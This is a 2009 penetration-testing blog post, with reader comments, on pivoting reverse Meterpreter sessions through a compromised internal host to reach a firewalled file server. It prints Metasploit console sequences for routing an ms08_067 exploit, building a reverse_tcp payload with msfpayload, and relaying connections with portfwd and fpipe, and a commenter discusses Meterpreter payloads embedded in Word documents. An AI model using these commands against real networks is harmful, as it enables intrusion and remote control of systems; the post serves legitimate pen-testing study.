Welcome to In Depth Defense. In Depth Defense LLC is a privately owned Information Security Consulting company owned and operated by Mark Baggett. In Depth Defense specializes in Penetration Testing and Incident Response. At this time In Depth Defense is not accepting any new client work, but we are happy to speak to you and point you to other resources in the community.

Mark Baggett has been active in Information Security for 18+ years. I've served in a variety of roles from software developer to CISO. You can find archives of older blog entries below and read my newer posts on http://www.pauldotcom.com, http://isc.sans.edu and http://pen-testing.sans.org








Wednesday, February 4, 2009

Reverse Pivots with Metasploit - How NOT to make the lightbulb

In a penetration test your target is PII kept on a corporate file server which I will call Victim2. You are outside the firewall but have gained access to an internal host, Victim1, when a user opened your word document with an embeeded Meterpreter payload. The stager embedded in the word document made a REVERSE_TCP connection to your machine which uploaded metsrv.dll to the victim. The machine you have access to (Victim1) has unfiltered access to your target (Victim2). Victim2 is vulnerable to ms08_067_netapi. Victim2 however, has NO access to the internet at all. Were it not for the strict egress firewall rules controlling Victim2 you could have used the ROUTE command to pivot your attack through your meterpreter session on Victim1 to Victim2, and have Victim2 send you a shell directly like this...

Your IP = 192.168.1.1
Victim1 = 10.4.4.4
Victim2 = 10.5.5.5

Background session 1? [y/N] y
msf exploit(ms08_067_netapi) > route add 10.5.5.5 255.255.255.255 1
msf exploit(ms08_067_netapi) > route print

Active Routing Table
====================

Subnet Netmask Gateway
------ ------- -------
10.5.5.5 255.255.255.255 Session 1

msf exploit(ms08_067_netapi) > sessions -l

Active sessions
===============

Id Description Tunnel
-- ----------- ------
1 Meterpreter 192.168.1.1:80 -> 10.4.4.4:1034

msf exploit(ms08_067_netapi) > set RHOST 10.5.5.5
RHOST => 10.5.5.5
msf exploit(ms08_067_netapi) > set LHOST 192.168.1.1
LHOST => 192.168.1.1
msf exploit(ms08_067_netapi) > exploit

And the session would be shoveled back to you from Victim2. BUT, this time, strong egress filters prevailed and you can't make that direct connection. So you decide to relay in back through Victim1 who does have access to the internet. How do you do that?

Here was my first thought. I'll use meterpreter's PORTFWD command on VICTIM1 to setup a TCP relay and back to me. Then I'll exploit Victim2 and set my LHOST to Victim1 (10.4.4.4) and my LPORT to the PORTFWD listener on Victim1. My attack will flow through my pivot and return to me via the PORTFWD on Victim1.

Guess what. You can't do that. LHOST and LPORT have to be a valid IP address on your host or the exploit wont even launch. Metasploit won't let your LHOST be the Victim1. Maybe I could do some CHOST,CPORT trickery (see the advanced options)? I couldn't make that work either.

OK so I can't launch an exploit. But I can make one!
./msfpayload windows/meterpreter/reverse_tcp LHOST=victim1 LPORT=portfwd listener X > custompayload.exe

Then I can use the Upload and Execute payloads to exploit victim2 and get my shell!!
Nope. That doesn't work either. Why? I think there is a bug in PORTFWD.

When you run portfwd and don't provide the OPTIONAL -L ip address it appears to work. You get something like this..

meterpreter > portfwd add -l 6666 -r 192.168.1.1 -p 80
[*] Local TCP relay created: 0.0.0.0:6666 <-> 192.168.1.1:80

But nothing is listening on port 6666. A quick "execute -c -f cmd.exe; interact 1; netstat -na" shows nothing listening on the port. An NMAP of the host confirms no listener...


Macintosh:~ mark.baggett$ nmap 10.4.4.4 -p 6666

Starting Nmap 4.76 ( http://nmap.org ) at 2009-02-03 22:47 EST
Interesting ports on 10.4.4.4:
PORT STATE SERVICE
6666/tcp closed irc

Nmap done: 1 IP address (1 host up) scanned in 0.27 seconds
Macintosh:~ mark.baggett$

If I try to force the matter with a -L I get a nasty "Cant assign requested address" message.

meterpreter > portfwd add -L 10.4.4.4 -l 6666 -r 192.168.1.1 -p 80
[-] Error running command portfwd: Can't assign requested address - bind(2) /Applications/framework3/lib/rex/socket/comm/local.rb:138:in `bind'/Applications/framework3/lib/rex/socket/comm/local.rb:138:in `create_by_type'/Applications/framework3/lib/rex/socket/comm/local.rb:26:in `create'/Applications/framework3/lib/rex/socket.rb:45:in `create_param'/Applications/framework3/lib/rex/socket.rb:52:in `create_tcp'/Applications/framework3/lib/rex/socket.rb:59:in `create_tcp_server'/Applications/framework3/lib/rex/services/local_relay.rb:184:in `start_tcp_relay'/Applications/framework3/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb:219:in `cmd_portfwd'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:234:in `send'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:234:in `run_command'/Applications/framework3/lib/rex/post/meterpreter/ui/console.rb:94:in `run_command'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:196:in `run_single'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:191:in `each'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:191:in `run_single'/Applications/framework3/lib/rex/post/meterpreter/ui/console.rb:60:in `interact'/Applications/framework3/lib/rex/ui/text/shell.rb:123:in `call'/Applications/framework3/lib/rex/ui/text/shell.rb:123:in `run'/Applications/framework3/lib/rex/post/meterpreter/ui/console.rb:58:in `interact'/Applications/framework3/lib/msf/base/sessions/meterpreter.rb:181:in `_interact'/Applications/framework3/lib/rex/ui/interactive.rb:48:in `interact'/Applications/framework3/lib/msf/ui/console/command_dispatcher/core.rb:918:in `cmd_sessions'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:234:in `send'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:234:in `run_command'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:196:in `run_single'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:191:in `each'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:191:in `run_single'/Applications/framework3/lib/msf/ui/console/command_dispatcher/exploit.rb:143:in `cmd_exploit'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:234:in `send'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:234:in `run_command'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:196:in `run_single'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:191:in `each'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:191:in `run_single'/Applications/framework3/lib/rex/ui/text/shell.rb:127:in `run'./msfconsole:82
meterpreter > ipconfig

Parallels OEM Adapter.
Hardware MAC: 00:1c:42:99:40:22
IP Address : 10.4.4.4
Netmask : 255.255.255.0

OK. So maybe there is a bug in portfwd. I punt and I use a different external TCP relay program. I upload and execute FPIPE.EXE and use it on Victim1 to relay the session from Victim2 back to My IP.

fpipe.exe -i 10.4.4.4 -l 5555 -r 80 192.168.1.1


[*] Handler binding to LHOST 192.168.1.1
[*] Started reverse handler
[*] Starting the payload handler...
[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.

And thats it! Its all good with one VERY IMPORTANT exception. I never get
[*] Meterpreter session 2 opened.

So FAIL, FAIL FAIL. I was unable to pivot a reverse_tcp meterpreter session. I can reach my goal by using the Meterpreter session on Victim1 to access the file server on Victim2 with SMB ports, but thats not very sexy. Ed Skoudis gender bender netcat relays are a good option, but I want to do it with just metasploit. So what is the right way to do this? Do you know? Add a comment!


6 comments:

Nick Night said...

Well, pivoting is interesting and always worth exploring. I'll make some tests this weekends according to your description..
I'm not sure if it's worth a mention, but in
"meterpreter > portfwd add -L 104.4.4 -l 6666 -r 192.168.1.1 -p 80"
there's a dot missing in the IP address.

Mark Baggett said...

Thanks Nick. IP addresses were changed to protect the innocent. I will fix the typo. I'll fix the post.

Mark

mtgarden said...

Couple of questions.

1) I successfully encoded a meterpreter shell into a .Doc and it works beautifully. Problem is this: I can't background the session without msfcli hanging up on me. Thoughts? This is on BT3 VM.

2) This works well against Office XP, but I cannot get Office 07 to function. The same file exploits one and not the other. So I created a doc in .docm format and disabled the Macro security and it still fails. I tested this with Office 07 on XP and on Win7. Thoughts?

Mark Baggett said...

Mtgarden,

I've experienced the same thing with msfcli. You will want to use ./msfconsole with meterpreter if you going to background it. Backgrounding a msfcli process really doesn't have much benefit because msfcli returns you back to your OS prompt anyway. You need msfconsole running to be able to use the ROUTE command and pivot your attack

Sorry, I haven't tested this on 2007, but I've been told by other that it does work properly. I'm not sure what they did to get it working. Sorry I don't have a better answer for you.

ne0matrix said...

I red your article, and tried to test on my homelab, and this is what i came up with:

http://ne0matrix.blogspot.com/2009/05/demo-video-meterpreter-pivot-attack.html

And portfwd seems to work...
Apparently the "-L" parameter is meant to listen on the address input, so the address should be the loopback or a local(your IP) IP address.
So we should have something like this:
meterpreter > portfwd add -L 192.168.1.1 -l -r 10.5.5.5 -p 6666

Mark Baggett said...

ne0matrix,
Great job on the video demo. Thank you for posting a comment with that link. I should have posted an update to this blog entry. Egypt from the metasploit team emailed me the response below which confirms your findings. Portfwd does indeed open a port listener on the host with the framework running and not on the target. In the scenario video you posted where you 0wn host 1 then relay to Host 2 the use of portfwd commands is not required. I posted a similar video here http://www.screencast.com/users/huperdefigo/folders/Default/media/4d302b6c-9e5b-4efb-bb5c-83fcc35dfc1d

What I've been intending to do, but haven't gotten around to it, is record a demo of a 3 host relay Attacker -> Victim 1 -> Victim 2 -> Victim 3 by using PORTFWD instead of ROUTE to go from Victim 1 to Victim 2 since using ROUTE alone will only get you a two host pivot. Very nice job on the video.

Here is Egypt's reply to my question:
On Mon, Feb 9, 2009 at 2:17 AM, egypt at metasploit.com wrote:
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> Mark,
>
> The portfwd command does not open a listener on the meterpreter
> server, it opens a listener on the metasploit machine so you can talk
> to things behind the meterpreter server. I had this same
> misconception when I first started using meterpreter.
>
>
>
> meterpreter > portfwd add -l 9999 -p 80 -r 192.168.97.123
> [*] Local TCP relay created: 0.0.0.0:9999 192.168.97.123:80
> meterpreter >
>
>
>
> framework3 # netstat -pant|grep 9999
> tcp 0 0 0.0.0.0:9999 0.0.0.0:*
> LISTEN 15398/ruby
> tcp 0 0 127.0.0.1:43232 127.0.0.1:9999
> ESTABLISHED 11609/firefox
> tcp 0 0 127.0.0.1:9999 127.0.0.1:43232
> ESTABLISHED 15398/ruby
> framework3 #
>
>
> I've found this to be most useful for hacking intranet webservers
> because it allows you to open a browser pointed at localhost:9999 that
> goes through your meterp session into the intranet. What you are
> talking about (having the meterp machine listen and forward traffic
> back through the tunnel) is currently unimplemented. I don't think it
> is a monumental task, but nobody has done it yet.
>
> In the example on your blog, you say victim1 has unfiltered access to
> victim2. If this is really the case, you can simply add the route as
> in your example and use a bind payload -- everything will be tunneled.
>
> Hope this helped,
> egypt
>

Subscribe